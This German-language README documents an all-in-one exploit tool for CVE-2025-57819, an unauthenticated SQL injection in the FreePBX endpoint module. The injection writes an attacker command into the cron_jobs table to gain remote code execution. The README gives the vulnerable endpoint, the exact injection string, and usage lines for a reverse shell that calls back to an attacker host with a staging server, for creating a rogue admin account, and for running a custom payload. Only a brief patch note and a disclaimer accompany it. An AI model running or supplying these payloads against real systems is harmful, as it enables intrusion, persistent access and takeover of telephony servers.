
FreePBX Pre-Auth SQLi to RCE (CVE-2025-57819) — All-in-One-Exploit
Ein All-in-One-Exploit für CVE-2025-57819, eine nicht authentifizierte SQL-Injection im Endpunktmodul von FreePBX, die über Cron-Job-Injection zu Remote Code Execution führt.
FreePBX legt den Endpunkt admin/ajax.php?module=FreePBX\modules\endpoint\ajax offen, ohne eine Authentifizierung zu verlangen (CWE-288). Der Parameter brand wird ohne Bereinigung direkt in SQL-Abfragen übergeben (CWE-89), was einem Angreifer erlaubt, beliebige SQL-Anweisungen in die Datenbank asterisk einzuschleusen.
[Unauthenticated HTTP request]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
│
▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
│
▼
Remote Code Execution
Dieser Exploit unterstützt drei Modi:
linux/x64/shell_reverse_tcp-Binary via msfvenompython3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
Beispiel:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
Dies verwendet Port 4452 für die Reverse Shell und 4453 für den HTTP-Staging-Server.
--create-user)Erstellt ein neues FreePBX-Administratorkonto via SQLi. Keine Reverse Shell, kein Rückruf, keine Binaries erforderlich.
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)Verwende dein eigenes ELF-Binary anstelle der Generierung mit msfvenom.
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests library (pip install requests)msfvenom) oder ein benutzerdefiniertes Payload mit --payload--create-user: Nichts außer Python + requestsDer anfällige Endpunkt ist:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
Der Parameter brand wird ohne Bereinigung in ein SQL-INSERT eingefügt.
Der Exploit formuliert die Injektion wie folgt:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
Das nachgestellte -- kommentiert den Rest der ursprünglichen Abfrage aus.
FreePBX verwendet das Asterisk-Cron-Subsystem. Cron-Jobs werden jede Minute überprüft. Wenn der Zeitplan des eingefügten Jobs (* * * * *) passt, wird der Befehl als Systembenutzer asterisk ausgeführt.
Nach Ende der Sitzung (oder bei Timeout) sendet der Exploit ein DELETE-SQLi, um den injizierten Cron-Job aus cron_jobs zu entfernen.
asterisk.cron_jobs mit zufälligen Modul-/Jobnamenasteriskampusers (falls --create-user-Modus)Aktualisieren Sie das Endpunktmodul auf gepatchte Versionen:
Diese Software wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch.